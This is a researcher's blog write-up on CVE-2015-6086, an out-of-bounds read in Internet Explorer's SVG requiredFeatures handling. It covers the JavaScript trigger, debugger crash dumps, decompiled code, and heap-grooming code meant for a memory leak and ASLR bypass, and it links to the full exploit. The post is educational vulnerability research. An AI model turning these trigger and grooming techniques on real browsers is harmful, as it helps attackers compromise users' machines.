From Crash To Exploit: Cve-2015-6086 – Out Of Bound Read /aslr Bypass
ashfaq
18-January-2016

OUT OF BOUND READ BUG : INTRODUCTION
This is a story of an Out of Bound Read bug in Internet Explorer 9-11. This is almost 5 years old bug which got discovered in April 2015. It is a very interesting bug, at least from my perspective, because it was rejected almost 4-5 times by Zero Day Initiative (ZDI) stating that it’s not exploitable.
My SVG fuzzer was hitting a crash continuously, at first, the bug looked like usual Use after Free as it was trying to read Invalid Memory. But after triaging it turned out to be Out of Bound Read bug. I submitted this bug to ZDI and they rejected it at first stating that they are not able to reproduce it. Later they rejected saying it’s not exploitable even after showing them that this bug is exploitable. I do consulting work too, so I was busy with some other projects. After 3-4 months, I got time to look into the bug again as I firmly believed that this is an exploitable bug.
CRASH
The vulnerability trigger is relatively simple.
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
}
Note: We need to enable Page Heaps and Application Verifier for the crash to occur.
(778.18c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c0c0 ebx=00000005 ecx=00000000 edx=00000006 esi=0737f000 edi=0000002c
eip=64c305d4 esp=060faf08 ebp=060faf24 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CDOMStringDataList::InitFromString+0x4b:
64c305d4 0fb706 movzx eax,word ptr [esi] ds:0023:0737f000=????
As you can see that the Read Access Violation has occurred when it tried to de-reference an Invalid Memory.
CRASH ANALYSIS
Now, let’s find out what ESI register points to.
0:007> dc @esi
0737f000 ???????? ???????? ???????? ???????? ????????????????
0737f010 ???????? ???????? ???????? ???????? ????????????????
0737f020 ???????? ???????? ???????? ???????? ????????????????
0737f030 ???????? ???????? ???????? ???????? ????????????????
0737f040 ???????? ???????? ???????? ???????? ????????????????
0737f050 ???????? ???????? ???????? ???????? ????????????????
0737f060 ???????? ???????? ???????? ???????? ????????????????
0737f070 ???????? ???????? ???????? ???????? ????????????????
Nice, ESI seems to hold reference of either freed memory or unmapped memory. Let’s try to find out by executing !heap -p -a <address>
.
0:007> !heap -p -a @esi
address 0737f000 found in
_DPH_HEAP_ROOT @ 161000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
73c1f70: 737eff0 10 - 737e000 2000
6f4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77895ede ntdll!RtlDebugAllocateHeap+0x00000030
7785a40a ntdll!RtlpAllocateHeap+0x000000c4
77825ae0 ntdll!RtlAllocateHeap+0x0000023a
76afea43 ole32!CRetailMalloc_Alloc+0x00000016
76f44557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060
76f4476a OLEAUT32!SysAllocStringByteLen+0x0000003d
76f447bf OLEAUT32!ErrStringCopyNoNull+0x00000016
76f45dda OLEAUT32!VariantChangeTypeEx+0x00000a19
63e871b6 MSHTML!VariantChangeTypeSpecial+0x00000093
63f8581c MSHTML!CElement::SetAttributeFromPropDesc+0x00000069
63f857c3 MSHTML!CElement::ie9_setAttributeNSInternal+0x000003b0
64334301 MSHTML!CElement::setAttributeNS_Helper+0x00000069
6474d0fb MSHTML!CElement::Var_setAttributeNS+0x0000014a
64a65d9c MSHTML!CFastDOM::CElement::Trampoline_setAttributeNS+0x0000003c
63580fb6 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000018e
6357ed52 jscript9!Js::InterpreterStackFrame::Process+0x00001e72
6357f499 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
Sad, this is not a Use after Free vulnerability. Let’s dump the UserAddr and see what it holds.
0:007> dc 737eff0
0737eff0 00000002 0000000a c0c0c0c0 c0c0c0c0 ................
0737f000 ???????? ???????? ???????? ???????? ????????????????
0737f010 ???????? ???????? ???????? ???????? ????????????????
0737f020 ???????? ???????? ???????? ???????? ????????????????
0737f030 ???????? ???????? ???????? ???????? ????????????????
0737f040 ???????? ???????? ???????? ???????? ????????????????
0737f050 ???????? ???????? ???????? ???????? ????????????????
0737f060 ???????? ???????? ???????? ???????? ????????????????
I don’t know if you noticed or not, 737eff0 holds an interesting value, i.e. 0000000a which corresponds to \n. Also note that this allocation was done by OLEAUT32 which allocates memory in OLEAUT32 Cached Heap.
So, the next obvious thing to do was to try looking at the MSHTML!CDOMStringDataList::InitFromString function in IDA Pro and understand what’s happening.
I invested some time to reverse engineer this particular function code.
HRESULT __thiscall CDOMStringDataList::InitFromString(CDOMStringDataList *this, LPCWSTR lpCWStr)
{
SIZE_T strLen; // Used in different places differently
HRESULT hResult;
PWCHAR pCurChar;
CStr *pCStr;
PWCHAR pCurString;
CDOMStringDataList *pCDOMStringDataList;
int outString;
strLen = 0;
pCDOMStringDataList = this;
hResult = S_OK;
CDOMStringDataList::Clear(this);
pCurChar = (PWCHAR)lpCWStr;
while ( *pCurChar != (_WORD)strLen )
{
// Trim white spaces
while ( IsCharSpaceW(*pCurChar) )
++pCurChar;
// Bail out if string starts with comma
if ( *pCurChar == ',' )
return E_FAIL;
pCurString = pCurChar;
do
{
++pCurChar;
++strLen;
}
while ( !IsCharSpaceW(*pCurChar) && *pCurChar != ',' && *pCurChar );
outString = NULL;
hResult = CImplAry::AppendIndirect<4>(pCDOMStringDataList, &outString, &pCStr);
if ( hResult < 0 || (hResult = CStr::Set(pCStr, (LPVOID)strLen, pCurString, strLen, 1), hResult < 0) )
{
CStr::_Free((CStr *)&outString);
return hResult;
}
while ( IsCharSpaceW(*pCurChar) )
++pCurChar;
if ( *pCurChar == ',' )
++pCurChar;
CStr::_Free((CStr *)&outString);
strLen = 0;
}
return hResult;
}
Note: Do not always belive in the disassembly produced by IDA Pro. Verify it manually by reading the Assembly code.
If you look closely at the function, you will be able to see the bug. So, the bug is improper handling of new line (“\n”) and white space character (” “). Due to this bug, it skips over and reads past the NULL terminator.
As, the attribute string is stored in the Heap, we need to carefully craft the adjacent Heap chunk to exploit this issue. But for now, let’s find out if the string is stored on the Process Heap or Isolated Heap.
Let’s dump the Process Heap and Isolated Heap handle.
0:007> ? poi(MSHTML!g_hProcessHeap)
Evaluate expression: 1441792 = 00160000
0:007> ? poi(MSHTML!g_hIsolatedHeap)
Evaluate expression: 104857600 = 06400000
If you look at the _DPH_HEAP_ROOT value from the !heap -p -a output you will see that _DPH_HEAP_ROOT @ 161000. We can conclude that required Features attribute is stored in Process Heap instead of Isolated Heap.
RECAP
Out of Bound Read vulnerability while setting required Features attribute value
requiredFeatures attribute is stored in the Process Heap
requiredFeatures attribute is cached
requiredFeatures attribute size can be dynamic
Now, let’s play more with the trigger PoC and try to set the requiredFeatures attribute to \n\n\n\n\n\n\n\n\n and examine the memory.
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', '\n\n\n\n\n\n\n\n\n');
}
Before launching the PoC, let’s put a break point on MSHTML!CDOMStringDataList::InitFromString. When the breakpoint is hit, we will examine the memory pointed by ESI register.
Note: Disable Page Heaps and Application Verifier, we do not need them now.
0:007> dc @esi L7
00569634 000a000a 000a000a 000a000a 000a000a ................
00569644 0000000a f4b352f6 00000000 .....R......
If you see the dump of the Heap chunk of requiredFeatures attribute carefully, you will notice that there are nine \n which is the same as what we tried to set in the PoC. But notice f4b352f6, where did this came from?
This is the padding added to the attribute value if the length is not aligned properly.
Next, we need to find a way to read the value of the requiredFeatures attribute. Looking at the Mozilla Developer Network page for SVGStringList interface, I came to know that we can read the attribute value using getItem(in unsigned long index).
Cool, let’s modify our PoC and try to read the value of requiredFeatures attribute.
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', "Ashfaq\nAnsari");
var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";
for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\n";
}
alert(message);
}
Great, this confirms that we can read requiredFeatures attribute value using getItem(in unsigned long index).
EXPLOITATION STRATEGY
Defragment the Process Heap using object of the desired size
Make holes in the allocation
Re-allocate the holes with requiredFeatures attribute
Trigger the vulnerability and read the Out of Bound memory
As the browser does not crash when the vulnerability is triggered, we can try until we succeed
EXPLOITATION CHALLENGES
Find a size in which padding does not get appended
Find an object of the relevant size which gets stored in the Process Heap
requiredFeatures attribute is cached
Memory Protector is enabled by default
NULL terminator in the adjacent Heap chunk’s _HEAP_ENTRY structure will kill the exploit attempt
EXPLOITATION
Now, we know the strategy and the challenges to exploit this bug. First, let’s try to find a size where the padding does not get appeneded.
After trying different lengths of requiredFeatures attribute, finally, I found that, if the size is 0x0A0, then there will be no padding appened to the attribute value.
Note: Keep in mind that the value of requiredFeatures attribute is stored as BSTR).
Now, it’s time to find an object of size 0x0A0 which is stored in the Process Heap. After spending some time in IDA Pro, I found CDOMMSGestureEvent element whose size is 0x0A0 and is stored in the Process Heap.
Note: MSGestureEvent is not supported in Internet Explorer 9. You need to use different element.
Another challenge faced during the exploitation of this bug was that requiredFeatures attribute is cached and stored in OLEAUT32 Cached Heap. I tried Alexander Sotirov’s Plunger technique, but it did not work well for me. But, after experimenting, I found that a single trick can bypass this behaviour.
for (i = 0; i < 0x50; i++) {
polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
// Trick to bypass allocation on OLEAUT32 Cached Heap
polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString("A", 0x0A0));
polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString("\n", 0x0A0));
}
Now, let’s deal with Memory Protector which is another hurdle in the exploitation phase. There are really good papers on Memory Protector which can be found in the references section.
Finally, our last hurdle is the NULL bytes in the _HEAP_ENTRY structure of the Heap chunk which we want to read using this Out of Bound Read bug. I’m still tying to figure out why some Heap chunk have NULL bytes and some do not, even when they are of the same size. If you have the answer, please do let me know.
FINAL EXPLOIT
I have started a series of workshops on From Crash to Exploit at null - The Open Security Community. I already took the first workshop where I discussed the very same bug.
The exploit and other materials for this bug can be found at the below given Github repository.
https://github.com/payatu/CVE-2015-6086
This is just the BEGINNING, not the END.